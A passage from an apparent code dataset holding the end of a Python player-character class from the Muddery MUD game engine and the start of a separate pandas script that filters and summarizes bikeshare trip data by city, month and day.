def show_status(self):\n \"\"\"\n Send status to player.\n \"\"\"\n status = self.return_status()\n self.msg({\n \"status\": status\n })\n\n def return_status(self):\n \"\"\"\n Get character's status.\n \"\"\"\n status = {\n \"level\": {\n \"name\": _(\"LEVEL\"),\n \"value\": self.get_level(),\n }\n }\n\n status.update({\n key: {\n \"name\": info[\"name\"],\n \"value\": self.const_data_handler.get(key),\n } for key, info in self.get_properties_info().items()\n })\n\n records = CharacterStatesDict.all()\n status.update({\n record.key: {\n \"name\": record.name,\n \"value\": self.states.load(record.key)\n } for record in records\n })\n\n return status\n\n def load_equipments(self):\n \"\"\"\n Reset equipment's position data.\n\n equipments: {\n position on the body: {\n \"object_key\": object's key,\n \"level\": object's level,\n \"obj\": object's instance,\n }\n }\n Returns:\n None\n \"\"\"\n self.equipments = CharacterEquipments.get_character(self.get_db_id())\n\n # get equipment's position\n positions = set([r.key for r in EquipmentPositions.all()])\n common_models = ELEMENT(\"POCKET_OBJECT\").get_models()\n\n for pos in list(self.equipments.keys()):\n if pos in positions:\n # create an instance of the equipment\n item = self.equipments[pos]\n\n object_record = WorldData.get_tables_data(common_models, key=item[\"object_key\"])\n object_record = object_record[0]\n item[\"element_type\"] = object_record.element_type\n\n new_obj = ELEMENT(item[\"element_type\"])()\n new_obj.setup_element(item[\"object_key\"], item[\"level\"])\n item[\"obj\"] = new_obj\n else:\n # the position has been removed, take off the equipment.\n self.take_off_equipment(pos, mute=True, refresh=False)\n\n def show_equipments(self):\n \"\"\"\n Send equipments to player.\n \"\"\"\n self.msg({\n \"equipments\": self.return_equipments()\n })\n\n def return_equipments(self):\n \"\"\"\n Get equipments' data.\n \"\"\"\n info = {}\n for pos, item in self.equipments.items():\n # order by positions\n obj = item[\"obj\"]\n info[pos] = {\n \"key\": item[\"object_key\"],\n \"name\": obj.get_name(),\n \"desc\": obj.get_desc(),\n \"icon\": obj.get_icon(),\n }\n\n return info\n\n def equip_object(self, position):\n \"\"\"\n Equip an object.\n args: position: (int) position in the inventory\n \"\"\"\n item = None\n for value in self.inventory:\n if value[\"position\"] == position:\n item = value\n break\n if item is None:\n raise MudderyError(_(\"Can not find this equipment.\"))\n\n body_position = item[\"obj\"].get_body_position()\n available_positions = set([r.key for r in EquipmentPositions.all()])\n if body_position not in available_positions:\n raise MudderyError(_(\"Can not equip it on this position.\"))\n\n # Take off old equipment\n if body_position in self.equipments:\n self.take_off_equipment(body_position, mute=True, refresh=False)\n\n # Put on new equipment.\n if \"obj\" not in item or not item[\"obj\"]:\n # create an instance of the equipment\n new_obj = ELEMENT(item[\"element_type\"])()\n new_obj.setup_element(item[\"object_key\"], item[\"level\"])\n item[\"obj\"] = new_obj\n\n CharacterEquipments.add(self.get_db_id(), body_position, item[\"object_key\"], item[\"level\"])\n self.equipments[body_position] = item\n\n # Remove from the inventory\n self.remove_object_by_position(position, 1, True)\n\n # reset character's attributes\n self.refresh_states(True)\n\n message = {\n \"status\": self.return_status(),\n \"equipments\": self.return_equipments(),\n \"inventory\": self.return_inventory()\n }\n self.msg(message)\n\n return\n\n def take_off_equipment(self, body_position, mute=False, refresh=True):\n \"\"\"\n Take off an equipment.\n args:\n position: (string) a position on the body.\n \"\"\"\n if body_position not in self.equipments:\n raise MudderyError(_(\"Can not find this equipment.\"))\n\n item = self.equipments[body_position]\n self.receive_object(item[\"object_key\"], 1, item[\"level\"], True)\n CharacterEquipments.remove_equipment(self.get_db_id(), body_position)\n del self.equipments[body_position]\n\n if refresh:\n # reset character's attributes\n self.refresh_states(True)\n\n if not mute:\n message = {\n \"status\": self.return_status(),\n \"equipments\": self.return_equipments(),\n \"inventory\": self.return_inventory()\n }\n self.msg(message)\n\n def lock_exit(self, exit_key):\n \"\"\"\n Lock an exit. Remove the exit's key from the character's unlock list.\n \"\"\"\n unlocked_exits = self.states.load(\"unlocked_exits\", set())\n if exit_key not in unlocked_exits:\n return\n\n unlocked_exits.remove(exit_key)\n self.states.save(\"unlocked_exits\", unlocked_exits)\n\n def unlock_exit(self, exit_key):\n \"\"\"\n Unlock an exit. Add the exit's key to the character's unlock list.\n \"\"\"\n unlocked_exits = self.states.load(\"unlocked_exits\", set())\n if exit_key in unlocked_exits:\n return True\n\n if not self.location.can_unlock_exit(self, exit_key):\n self.msg({\"msg\": _(\"Can not open this exit.\")})\n return False\n\n unlocked_exits.add(exit_key)\n self.states.save(\"unlocked_exits\", unlocked_exits)\n\n # The exit may have different appearance after unlocking.\n # Send the lastest appearance to the caller.\n appearance = self.location.get_exit_appearance(self, exit_key)\n self.msg({\"look_obj\": appearance})\n\n return True\n\n def is_exit_unlocked(self, exit_key):\n \"\"\"\n Whether the exit is unlocked.\n \"\"\"\n unlocked_exits = self.states.load(\"unlocked_exits\", set())\n return exit_key in unlocked_exits\n\n def load_skills(self):\n \"\"\"\n Load character's skills.\n \"\"\"\n self.skills = {}\n\n # default skills\n default_skills = DefaultSkills.get(self.get_element_key())\n default_skill_set = set([r.skill for r in default_skills])\n\n # current skills\n character_skills = CharacterSkills.load_character(self.get_db_id())\n\n for key, item in character_skills.items():\n if item[\"is_default\"]:\n if key not in default_skill_set:\n # default skill is deleted, remove it from db\n CharacterSkills.delete(self.get_db_id(), key)\n continue\n\n try:\n # Create skill object.\n skill_obj = ELEMENT(\"SKILL\")()\n skill_obj.setup_element(key, item[\"level\"])\n except Exception as e:\n logger.log_err(\"Can not load skill %s: (%s) %s\" % (key, type(e).__name__, e))\n continue\n\n # Store new skill.\n self.skills[key] = {\n \"obj\": skill_obj,\n \"cd_finish\": 0,\n }\n\n # add new default skills\n for item in default_skills:\n key = item.skill\n if key not in self.skills:\n try:\n # Create skill object.\n skill_obj = ELEMENT(\"SKILL\")()\n skill_obj.setup_element(key, item.level)\n except Exception as e:\n logger.log_err(\"Can not load skill %s: (%s) %s\" % (key, type(e).__name__, e))\n continue\n\n # Store new skill.\n self.skills[key] = {\n \"obj\": skill_obj,\n \"cd_finish\": 0,\n }\n\n # save skill\n CharacterSkills.save(self.get_db_id(), key, {\n \"level\": item.level,\n \"is_default\": True,\n \"cd_finish\": 0,\n })\n\n def learn_skill(self, skill_key, level, mute=True):\n \"\"\"\n Learn a new skill.\n\n Args:\n skill_key: (string) skill's key\n level: (number) skill's level\n mute: (boolean) do not show messages to the player\n\n Returns:\n (boolean) learned skill\n \"\"\"\n if skill_key in self.skills:\n self.msg({\"msg\": _(\"You have already learned this skill.\")})\n raise KeyError\n\n try:\n # Create skill object.\n skill_obj = ELEMENT(\"SKILL\")()\n skill_obj.setup_element(skill_key, level)\n except Exception as e:\n logger.log_err(\"Can not learn skill %s: (%s) %s\" % (skill_key, type(e).__name__, e))\n self.msg({\"msg\": _(\"Can not learn this skill.\")})\n raise e\n\n # Store new skill.\n self.skills[skill_key] = {\n \"obj\": skill_obj,\n \"cd_finish\": 0,\n }\n\n # save skill\n CharacterSkills.save(self.get_db_id(), skill_key, {\n \"level\": level,\n \"is_default\": False,\n \"cd_finish\": 0,\n })\n\n # If it is a passive skill, player's status may change.\n if skill_obj.passive:\n self.refresh_states(True)\n\n # Notify the player\n if not mute:\n self.show_status()\n self.show_skills()\n self.msg({\"msg\": _(\"You learned skill {C%s{n.\") % skill_obj.get_name()})\n\n return\n\n def show_skills(self):\n \"\"\"\n Send skills to player.\n \"\"\"\n skills = self.return_skills()\n self.msg({\"skills\": skills})\n\n def return_skills(self):\n \"\"\"\n Get skills' data.\n \"\"\"\n skills_list = []\n\n for skill in self.skills.values():\n skills_list.append(skill[\"obj\"].get_appearance(self))\n\n return skills_list\n\n def cast_passive_skills(self):\n \"\"\"\n Cast all passive skills.\n \"\"\"\n for skill in self.skills.values():\n if skill[\"obj\"].is_passive():\n skill[\"obj\"].cast(self, self)\n\n def cast_skill(self, skill_key, target):\n \"\"\"\n Cast a skill.\n\n Args:\n skill_key: (string) skill's key.\n target: (object) skill's target.\n \"\"\"\n if not self.skills[skill_key][\"obj\"].is_available(self, False):\n return\n\n last_cd_finish = self.skills[skill_key][\"cd_finish\"]\n result = super(MudderyPlayerCharacter, self).cast_skill(skill_key, target)\n cd_finish = self.skills[skill_key][\"cd_finish\"]\n\n if last_cd_finish != cd_finish:\n CharacterSkills.save(self.get_db_id(), skill_key, {\"cd_finish\": cd_finish})\n\n return result\n\n def close_event(self, event_key):\n \"\"\"\n If an event is closed, it will never be triggered.\n\n Args:\n event_key: (string) event's key\n \"\"\"\n # set closed events\n closed_events = self.states.load(\"closed_events\", set())\n closed_events.add(event_key)\n self.states.save(\"closed_events\", closed_events)\n\n def is_event_closed(self, event_key):\n \"\"\"\n Return True If this event is closed.\n\n Args:\n event_key: (string) event's key\n \"\"\"\n closed_events = self.states.load(\"closed_events\", set())\n return event_key in closed_events\n\n def join_combat(self, combat_id):\n \"\"\"\n The character joins a combat.\n\n :param combat_id: (int) combat's id.\n :return:\n \"\"\"\n super(MudderyPlayerCharacter, self).join_combat(combat_id)\n CharacterCombat.save(self.get_db_id(), combat_id)\n\n def get_combat(self):\n \"\"\"\n Get the character's combat. If the character is not in combat, return None.\n :return:\n \"\"\"\n if self.combat_id is None:\n return None\n\n combat = COMBAT_HANDLER.get_combat(self.combat_id)\n if combat is None:\n # Combat is finished.\n self.combat_id = None\n CharacterCombat.remove_character(self.get_db_id())\n\n return combat\n\n def resume_combat(self):\n \"\"\"\n Resume unfinished combat.\n\n Returns:\n None\n \"\"\"\n combat = self.get_combat()\n if combat:\n if not combat.is_finished():\n # show combat infomation\n combat.show_combat(self)\n else:\n self.leave_combat()\n\n def combat_result(self, combat_type, result, opponents=None, rewards=None):\n \"\"\"\n Set the combat result.\n\n :param combat_type: combat's type\n :param result: defines.COMBAT_WIN, defines.COMBAT_LOSE, or defines.COMBAT_DRAW\n :param opponents: combat opponents\n :param rewards: combat rewards\n \"\"\"\n combat_result = {\n \"type\": combat_type.value,\n \"result\": result,\n \"rewards\": {},\n }\n\n # get rewards\n if rewards:\n if \"exp\" in rewards and rewards[\"exp\"]:\n exp = rewards[\"exp\"]\n self.add_exp(exp)\n combat_result[\"rewards\"][\"exp\"] = exp\n\n # give objects to winner\n if \"loots\" in rewards and rewards[\"loots\"]:\n get_objects = self.receive_objects(rewards[\"loots\"], mute=True)\n combat_result[\"rewards\"][\"get_objects\"] = get_objects\n\n # honours\n if \"honour\" in rewards and rewards[\"honour\"]:\n combat_result[\"rewards\"][\"honour\"] = rewards[\"honour\"]\n\n self.msg({\"combat_finish\": combat_result})\n\n def leave_combat(self):\n \"\"\"\n Leave the current combat.\n \"\"\"\n status = None\n opponents = None\n rewards = None\n\n combat = self.get_combat()\n if not combat:\n return\n\n result = combat.get_combat_result(self.id)\n if result:\n status, opponents, rewards = result\n\n combat_type = combat.get_combat_type()\n\n if combat_type == CombatType.NORMAL:\n # normal combat\n # trigger events\n if status == defines.COMBAT_WIN:\n for opponent in opponents:\n self.event.at_character_kill(opponent)\n\n # call quest handler\n for opponent in opponents:\n self.quest_handler.at_objective(defines.OBJECTIVE_KILL, opponent.get_element_key())\n elif status == defines.COMBAT_LOSE:\n self.die(opponents)\n self.event.at_character_die()\n elif combat_type == CombatType.HONOUR:\n if status == defines.COMBAT_WIN:\n self.honour_win()\n elif status == defines.COMBAT_LOSE:\n self.honour_lose()\n\n combat.leave_combat(self)\n self.combat_id = None\n\n # show status\n self.show_status()\n\n self.show_location()\n\n def die(self, killers):\n \"\"\"\n This character is killed. Move it to it's home.\n \"\"\"\n\n # player's character can always reborn\n if self.reborn_time < 1:\n self.reborn_time = 1\n\n super(MudderyPlayerCharacter, self).die(killers)\n \n self.msg({\"msg\": _(\"You died.\")})\n\n if self.reborn_time > 0:\n self.msg({\"msg\": _(\"You will be reborn in {C%(s)s{n seconds.\") % {'s': self.reborn_time}})\n\n def honour_win(self):\n \"\"\"\n The character win in an honour combat.\n \"\"\"\n # Recover properties.\n self.recover()\n self.show_status()\n\n def honour_lose(self):\n \"\"\"\n The character lost in an honour combat.\n \"\"\"\n # Recover properties.\n self.recover()\n self.show_status()\n\n def reborn(self):\n \"\"\"\n Reborn after being killed.\n \"\"\"\n # Reborn at its home.\n home = None\n default_home_key = GAME_SETTINGS.get(\"default_player_home_key\")\n if default_home_key:\n try:\n home = Server.world.get_room(default_home_key)\n except ObjectDoesNotExist:\n pass;\n\n if home:\n self.move_to(home)\n\n # Recover properties.\n self.recover()\n self.show_status()\n\n if home:\n self.msg({\"msg\": _(\"You are reborn at {C%s{n.\") % home.get_name()})\n else:\n self.msg({\"msg\": _(\"You are reborn.\")})\n\n def save_current_dialogues(self, current_dialogue):\n \"\"\"\n Save player's current dialogues.\n\n Args:\n current_dialogue: current dialogues\n\n Returns:\n None\n \"\"\"\n # Save the dialogue's key.\n if current_dialogue:\n self.current_dialogues = set([d[\"key\"] for d in current_dialogue[\"dialogues\"]])\n else:\n self.current_dialogues = set()\n\n if not GAME_SETTINGS.get(\"auto_resume_dialogues\"):\n # Can not auto resume dialogues.\n return\n\n self.states.save(\"current_dialogue\", current_dialogue if current_dialogue else None)\n return\n\n def resume_last_dialogue(self):\n \"\"\"\n Restore player's dialogues when he return to game.\n\n Returns:\n None\n \"\"\"\n if not GAME_SETTINGS.get(\"auto_resume_dialogues\"):\n # Can not auto resume dialogues.\n return\n\n current_dialogue = self.states.load(\"current_dialogue\")\n if not current_dialogue:\n return\n\n self.msg({\"dialogue\": current_dialogue})\n return\n\n\n def talk_to_npc(self, npc):\n \"\"\"\n Talk to an NPC.\n\n Args:\n npc: NPC's object.\n\n Returns:\n None\n \"\"\"\n # Set caller's target.\n self.set_target(npc)\n\n # Get NPC's dialogue list.\n dialogues = DIALOGUE_HANDLER.get_npc_dialogues(self, npc)\n \n self.save_current_dialogues(dialogues)\n self.msg({\"dialogue\": dialogues})\n\n def show_dialogue(self, dlg_key):\n \"\"\"\n Show a dialogue.\n\n Args:\n dlg_key: dialogue's key.\n\n Returns:\n None\n \"\"\"\n # Get next sentences_list.\n dialogue = DIALOGUE_HANDLER.get_dialogues_by_key(dlg_key)\n\n # Send the dialogue to the player.\n self.save_current_dialogues(dialogue)\n self.msg({\"dialogue\": dialogue})\n\n def finish_dialogue(self, dlg_key, npc):\n \"\"\"\n Continue current dialogue.\n\n Args:\n dlg_key: current dialogue's key.\n npc: (optional) NPC's object.\n\n Returns:\n None\n \"\"\"\n if dlg_key not in self.current_dialogues:\n logger.log_err(\"Not in current dialogues: %s\" % dlg_key)\n return\n\n try:\n # Finish current dialogue\n DIALOGUE_HANDLER.finish_dialogue(dlg_key, self, npc)\n except Exception as e:\n ostring = \"Can not finish dialogue %s: %s\" % (dlg_key, e)\n logger.log_tracemsg(ostring)\n\n # Get next dialogue.\n next_dialogues = DIALOGUE_HANDLER.get_next_dialogues(dlg_key, self, npc)\n\n # Send dialogues_list to the player.\n self.save_current_dialogues(next_dialogues)\n self.msg({\"dialogue\": next_dialogues})\n if not next_dialogues:\n # dialogue finished, refresh surroundings\n self.show_location() \n\n def add_exp(self, exp):\n \"\"\"\n Add character's exp.\n Args:\n exp: (number) the exp value to add.\n Returns:\n None\n \"\"\"\n super(MudderyPlayerCharacter, self).add_exp(exp)\n\n self.msg({\"get_exp\": {\"exp\": exp}})\n\n def level_up(self):\n \"\"\"\n Upgrade level.\n\n Returns:\n None\n \"\"\"\n super(MudderyPlayerCharacter, self).level_up()\n\n # notify the player\n self.msg({\"msg\": _(\"{C%s upgraded to level %s.{n\") % (self.get_name(), self.get_level())})\n\n def get_message(self, caller, message):\n \"\"\"\n Receive a message from a character.\n\n :param caller: talker.\n :param message: content.\n \"\"\"\n output = {\n \"type\": ConversationType.PRIVATE.value,\n \"channel\": self.get_name(),\n \"from_obj\": caller.get_id(),\n \"from_name\": caller.get_name(),\n \"msg\": message\n }\n self.msg({\"conversation\": output})\n caller.msg({\"conversation\": output})\n\n def show_rankings(self):\n \"\"\"\n Show character's rankings.\n \"\"\"\n honour_settings = HonourSettings.get_first_data()\n top_rankings = HONOURS_MAPPER.get_top_rankings(honour_settings.top_rankings_number)\n nearest_rankings = HONOURS_MAPPER.get_nearest_rankings(self, honour_settings.nearest_rankings_number)\n\n rankings = top_rankings\n rankings.extend([char_id for char_id in nearest_rankings if char_id not in top_rankings])\n\n data = [{\"name\": CharacterInfo.get_nickname(char_id),\n \"id\": char_id,\n \"ranking\": HONOURS_MAPPER.get_ranking(char_id),\n \"honour\": HONOURS_MAPPER.get_honour(char_id)} for char_id in rankings]\n self.msg({\"rankings\": data})\n\n def get_quest_info(self, quest_key):\n \"\"\"\n Get a quest's detail information.\n :param quest_key:\n :return:\n \"\"\"\n return self.quest_handler.get_quest_info(quest_key)\n\n def get_skill_info(self, skill_key):\n \"\"\"\n Get a skill's detail information.\n :param skill_key:\n :return:\n \"\"\"\n return self.skills[skill_key][\"obj\"].get_appearance(self)\n\n def at_cmdset_get(self, **kwargs):\n \"\"\"\n Called just before cmdsets on this object are requested by the\n command handler. If changes need to be done on the fly to the\n cmdset before passing them on to the cmdhandler, this is the\n place to do it. This is called also if the object currently\n have no cmdsets.\n\n Kwargs:\n caller (Session, Object or Account): The caller requesting\n this cmdset.\n\n \"\"\"\n pass\n\n @lazy_property\n def cmdset(self):\n return CmdSetHandler(self, True)\n\n @lazy_property\n def scripts(self):\n return ScriptHandler(self)\n","sub_path":"muddery/server/elements/player_character.py","file_name":"player_character.py","file_ext":"py","file_size_in_byte":64700,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"60"} +{"seq_id":"569341918","text":"import time\nimport pandas as pd\nimport numpy as np\nimport math\n\n#fpath = 'C:/Users/krist/Documents/Work-Kristi/' # << EDIT BEFORE SUBMISSION\nfpath = ''\n\nCITY_DATA = {'chicago': 'chicago.csv',\n 'new york city': 'new_york_city.csv',\n 'washington': 'washington.csv',\n 'quit': 'none'}\n\n# set up day dictionaries, including reversed dictionary\ndaynum_dict = {'M': 0, 'Tu': 1, 'W': 2, 'Th': 3, 'F': 4, 'Sa': 5, 'Su': 6}\nnumday_dict = {valnum: keyday for keyday, valnum in daynum_dict.items()}\ndayful_dict = {'M': \"Monday\", 'Tu': \"Tuesday\", 'W': \"Wednesday\",\n 'Th': \"Thursday\", 'F': \"Friday\", 'Sa': \"Saturday\",\n 'Su': \"Sunday\"}\ndays_list = [0, 1, 2, 3, 4, 5, 6]\n# days_list could be dynamically derived from the data in the selected city's\n# file using the following: days_list = list(df['Start DOW'].unique())\n\n# 1) add dictionary entries where the key is the first letter of the city and\n# the value is the city from the cities that are keys in CITY_DATA\n# 2) create a string with each city letter and city formatted for readability\n# 3) format city instructions string\nCITY_LETTER = {}\ncity_letter_str = \"\"\nfor city in CITY_DATA:\n # print(city[0], city)\n CITY_LETTER[city[0]] = city\n city_letter_str += \"\\t{} for {}\\n\".format(city[0].upper(), city.title())\n\ncity_instructions = ('Enter a letter to choose a single city or to quit:\\n{}'\n '\\n '.\n format(city_letter_str))\n\n# set up month dictionaries, including reversed dictionary\nmonthnum_dict = {'Jan': 1, 'Feb': 2, 'Mar': 3, 'Apr': 4, 'May': 5, 'Jun': 6,\n 'Jul': 7, 'Aug': 8, 'Sep': 9, 'Oct': 10, 'Nov': 11, 'Dec': 12}\nnummonth_dict = {valnum: key_mmm for key_mmm, valnum in monthnum_dict.items()}\nmonthful_dict = {'Jan': 'January', 'Feb': 'February', 'Mar': 'March',\n 'Apr': 'April', 'May': 'May', 'Jun': 'June', 'Jul':\n 'July', 'Aug': 'August', 'Sep': 'September', 'Oct': 'October',\n 'Nov': 'November', 'Dec': 'December'}\nfulmonth_dict = {fulmth: key_mmm for key_mmm, fulmth in monthful_dict.items()}\nmonths_list = [1, 2, 3, 4, 5, 6]\n# months_lit could be dynamically derived from the data in the selected city's\n# file using the following: months_list = list(df['Start Month'].unique())\n\n# defining filter note here since it is used in multiple functions\nfilter_note = ('\\tNOTE: Figures are calculated using data that '\n 'has been filtered'\n '\\n\\tbased on your selections shown below:')\n\n\ndef get_day(days_list):\n \"\"\"\n Asks user to specify a day of week filter selection by day abbreviation.\n Accepts any case - upper, lower, or mixed.\n\n Args:\n (list) days_list - list of day numbers found in the data.\n List is currently hard coded but could be obtained\n dynamically from the selected city file.\n\n Returns:\n (str) day_abbrev - one or two letter abbreviation in title case of the\n name of the day of the week to filter by.\n \"\"\"\n days_list.sort()\n print(\"=\"*79)\n day_str = (\"Select the day of data you want to see by typing the day \"\n \"abbreviation (Abbrev) \\n\"\n \"from the list shown below:\\n\"\n \"\\t#\\tAbbrev\\tDay\\n\\t-\\t------\\t------------\\n\")\n for day in days_list:\n day_abbrev = numday_dict.get(day, None)\n day_full = dayful_dict.get(day_abbrev, None)\n day_str += \"\\t{}\\t{}\\t{}\\n\".format(day, day_abbrev, day_full)\n day_str += \" \"\n # print(day_str)\n\n day_num = None\n while day_num is None:\n day_choice = input(day_str).title()\n if daynum_dict.get(day_choice, None) is not None:\n day_num = daynum_dict.get(day_choice, None)\n\n if day_num in days_list:\n day_abbrev = numday_dict.get(day_num, None)\n day_name = dayful_dict.get(day_abbrev, None)\n print(\"\\nYou selected: day number {}, {} ({}).\\n\".\n format(day_num, day_abbrev, day_name))\n # print(\"month_num Type : \", type(month_num))\n else:\n day_num = None\n print(\"\\n{} is not a valid choice. Please try again.\\n\".\n format(day_choice))\n\n return day_abbrev\n\n\ndef get_month(months_list):\n \"\"\"\n Asks user to specify a month filter selection by month abbreviation.\n Accepts any case - upper, lower, or mixed.\n\n Args:\n (list) months_list - list of month numbers found in the data.\n List is currently hard coded but could be obtained\n dynamically from the selected city file.\n\n Returns:\n (str) month_abbrev - title case three letter abbreviation of the name\n of the month to filter by.\n \"\"\"\n months_list.sort()\n print(\"=\"*79)\n month_str = (\"Select the month of data you want to see by typing the first\"\n \"\\nthree letters of a month (Abbrev)\"\n \" from the list shown below:\\n\"\n \"\\t#\\tAbbrev\\tMonth\\n\\t-\\t------\\t------------\\n\")\n for month in months_list:\n month_abbrev = nummonth_dict.get(month, None)\n month_full = monthful_dict.get(month_abbrev, None)\n # print(\"\\t{}\\t{}\\t{}\".format(month, month_abbrev, month_full))\n month_str += \"\\t{}\\t{}\\t{}\\n\".format(month, month_abbrev, month_full)\n month_str += \" \"\n # print(month_str)\n\n month_num = None\n while month_num is None:\n month_choice = input(month_str).title()[0:3]\n if monthnum_dict.get(month_choice, None) is not None:\n month_num = monthnum_dict.get(month_choice, None)\n\n if month_num in months_list:\n month_abbrev = nummonth_dict.get(month_num, None)\n month_name = monthful_dict.get(month_abbrev, None)\n print(\"\\nYou selected: month number {}, {} ({}).\\n\".\n format(month_num, month_abbrev, month_name))\n # print(\"month_num Type : \", type(month_num))\n else:\n month_num = None\n print(\"\\n{} is not a valid choice. Please try again.\\n\".\n format(month_choice))\n\n return month_abbrev\n\n\ndef get_city():\n \"\"\"\n Asks user to specify a city selection by first letter of the city\n or by the city name. Accepts any case - upper, lower, or mixed.\n\n Returns:\n (str) city - lower case city name to match to the keys of the\n city and file name dictionary, or 'quit'.\n \"\"\"\n print(\"=\"*79)\n\n city = None\n while city is None:\n city_input = input(city_instructions)\n city_lower = city_input.lower()\n city_lower_1 = city_input.lower()[0]\n # print(city_lower_1, city_lower, city_input)\n\n if CITY_DATA.get(city_lower, None) is not None:\n selection = \"You selected: {}\".format(city_input.title())\n city = city_lower\n elif CITY_LETTER.get(city_lower_1, None) is not None:\n selection = (\"You selected: {} ({})\".format(city_input,\n CITY_LETTER.get(city_lower_1, None).title()))\n city = CITY_LETTER.get(city_lower_1, None)\n else:\n selection = (\"{} is not a valid selection! \"\n \"Please try again.\".format(city_input))\n\n print(\"\\n\" + selection + \"\\n\")\n\n return city\n\n\ndef get_date_filter():\n \"\"\"\n Asks user to choose whether or not a date filter should be\n applied to the data for the selected city and what type of\n date filter should be applied.\n Accepts a single letter or the choice spelled out.\n Accepts any case - upper, lower, or mixed.\n\n Returns:\n (str) date_choice - lower case date filter choice value\n such as day, month, both, none, quit.\n \"\"\"\n letter_choice_dict = {'m': 'month', 'd': 'day', 'b': 'both',\n 'n': 'none', 'q': 'quit'}\n choice_letter_dict = {val: key for key, val in letter_choice_dict.items()}\n print(\"=\"*79)\n prompt_str = (\"Would you like to filter the data by date?\"\n \"\\nSelect one of the options below:\\n\"\n '\\t\"m\" or \"month\" for month filter.\\n'\n '\\t\"d\" or \"day\" for day filter.\\n'\n '\\t\"b\" or \"both\" for both month and day filters.\\n'\n '\\t\"n\" or \"none\" for no date filter.\\n'\n '\\t\"q\" or \"quit\" to quit.\\n'\n ' ')\n\n date_choice = None\n while date_choice is None:\n choice = input(prompt_str).lower()\n letter = choice[0]\n lookup_choice = choice_letter_dict.get(choice, None)\n lookup_letter = letter_choice_dict.get(letter, None)\n if lookup_choice is not None:\n selection = \"You selected: {}\".format(choice.title())\n date_choice = choice\n elif lookup_letter is not None:\n selection = \"You selected: {}\".format(lookup_letter.title())\n date_choice = lookup_letter\n else:\n selection = (\"{} is not a valid selection! Please try again.\".\n format(choice))\n date_choice = None\n\n print(\"\\n\" + selection + \"\\n\")\n\n return date_choice\n\n\ndef get_filters():\n \"\"\"\n Calls functions for selections for some or all of the following filters:\n function filter returns\n ------------------ -------------- --------------\n get_city city city\n get_date_filter date choice date_choice\n get_month month (if any) month_abbrev\n get_day day (if any) day_abbrev\n Asks user to choose the filters that will be applied to the data.\n The user must specify a city filter or quit.\n The user must select a date filter choice or quit.\n Month and Day filters, or Both month and day filters are optional.\n See the called functions definitions for further details.\n\n Returns:\n (str) city - lower case city name to match to the keys of the\n city and file name dictionary, or 'quit'.\n (str) quit_it - set to 'quit' if user chooses the quit option\n in either the get_city or get_date_filter routines.\n (str) date_choice - lower case date filter choice value\n such as day, month, both, none, quit.\n (str) month_abbrev - title case three letter abbreviation of the name\n of the month to filter by or None if no month filter was\n selected.\n (str) day_abbrev - one or two letter abbreviation in title case of the\n name of the day of the week to filter by or None if no day filter\n was selected.\n \"\"\"\n quit_it = None\n city, date_choice, month_abbrev, day_abbrev = None, None, None, None\n\n city = get_city()\n\n if city == 'quit':\n quit_it = 'quit'\n\n if quit_it != 'quit':\n date_choice = get_date_filter()\n\n if date_choice == 'quit':\n quit_it = 'quit'\n\n if quit_it != 'quit':\n month_abbrev = 'all'\n day_abbrev = 'all'\n if date_choice == 'both':\n month_abbrev = get_month(months_list)\n day_abbrev = get_day(days_list)\n elif date_choice == 'month':\n month_abbrev = get_month(months_list)\n elif date_choice == 'day':\n day_abbrev = get_day(days_list)\n elif date_choice == 'none': # default - added for clarity\n month_abbrev = 'all'\n day_abbrev = 'all'\n\n print()\n print(\"=\"*79)\n print(\"Here is a summary of your selections:\")\n print(\"\\t Quit Now:\\t\\t{}\".format(quit_it))\n print(\"\\t City:\\t\\t\\t{}\".format(city))\n print(\"\\t Date Filter:\\t{}\".format(date_choice))\n print(\"\\t Month:\\t\\t\\t{}\".format(month_abbrev))\n print(\"\\t Day:\\t\\t\\t{}\".format(day_abbrev))\n print(\"=\"*79)\n print()\n\n return quit_it, city, date_choice, month_abbrev, day_abbrev\n\n\ndef load_data(city, month_abbrev, day_abbrev):\n \"\"\"\n Loads data for the specified city and filters by month and day\n if applicable.\n\n Args:\n (str) city - name of the city to analyze - lower case\n (str) month_abbrev - name of the month to filter by, or \"all\" to apply\n no month filter\n (str) day_abbrev - title case one or two letter abbreviaation for\n name of the day of week to filter by, or \"all\" to apply no day\n filter\n Returns:\n df - Pandas DataFrame containing city data filtered by month and day\n \"\"\"\n print(\"=\"*79)\n print(\"Loading file for . . . {} . . .\".format(city.title()))\n start_time = time.time()\n # print(\"Choices: {} {} {}\".format(city, month_abbrev, day_abbrev))\n filename = CITY_DATA[city]\n fileandpath = fpath + filename\n # print(\"Filepath: {}\".format(fpath))\n # print(\"Filename: {}\".format(filename))\n print(\"fileandpath: {}\".format(fileandpath))\n\n # load data file into a dataframe\n df = pd.read_csv(fileandpath)\n\n # convert the Start Time column to datetime\n df['Start Time'] = pd.to_datetime(df['Start Time'])\n # extract month and day of week and hour from Start Time\n # to create new columns in the dataframe\n df['Start Year'] = df['Start Time'].dt.year\n df['Start Month'] = df['Start Time'].dt.month\n df['Start Month Abbrev'] = df['Start Time'].dt.strftime('%b')\n df['Start DOW'] = df['Start Time'].dt.dayofweek # weekday()\n df['Start Day'] = df['Start Time'].dt.strftime('%a')\n df['Start Hour'] = df['Start Time'].dt.hour\n\n # filter by month if applicable\n if month_abbrev.lower() != 'all':\n print(\"Applying Month filter . . . \")\n # use the index of the month abbreviations list to get the\n # corresponding int\n months = ['jan', 'feb', 'mar', 'apr', 'may', 'jun']\n month = months.index(month_abbrev.lower()) + 1\n\n # filter by month number to create the new dataframe\n df = df[df['Start Month'] == month]\n\n # filter by day if applicable\n if day_abbrev.lower() != 'all':\n print(\"Applying Day filter . . . \")\n # use the index of the day abbreviations list to get the\n # corresponding int\n days = ['M', 'Tu', 'W', 'Th', 'F', 'Sa', 'Su']\n day = days.index(day_abbrev.title())\n\n # filter by day number to create the new dataframe\n df = df[df['Start DOW'] == day]\n\n print(\"\\nLoad took %s seconds.\" % (time.time() - start_time))\n print('='*79)\n\n return df\n\n\ndef time_stats(df, filters):\n \"\"\"\n Displays statistics on the most frequent times (hours) of travel.\n Displays statistics for the top 5 travel hours.\n Uses Start Hour to calculate the statistics.\n\n Args:\n (df) df - Pandas DataFrame containing city data filtered by month & day\n (str) filters - string containing the filters the user selected\n to be displayed in the statistics output\n\n Returns:\n Nothing returned. Statics are printed to console.\n\n \"\"\"\n\n print()\n print(\"=\"*79)\n print('Calculating The Most Frequent Times of Travel . . .\\n')\n print(filter_note)\n print(filters)\n start_time = time.time()\n\n # Display the most popular Month, Day, Hour based on trip counts\n print('-'*79)\n # display the most common 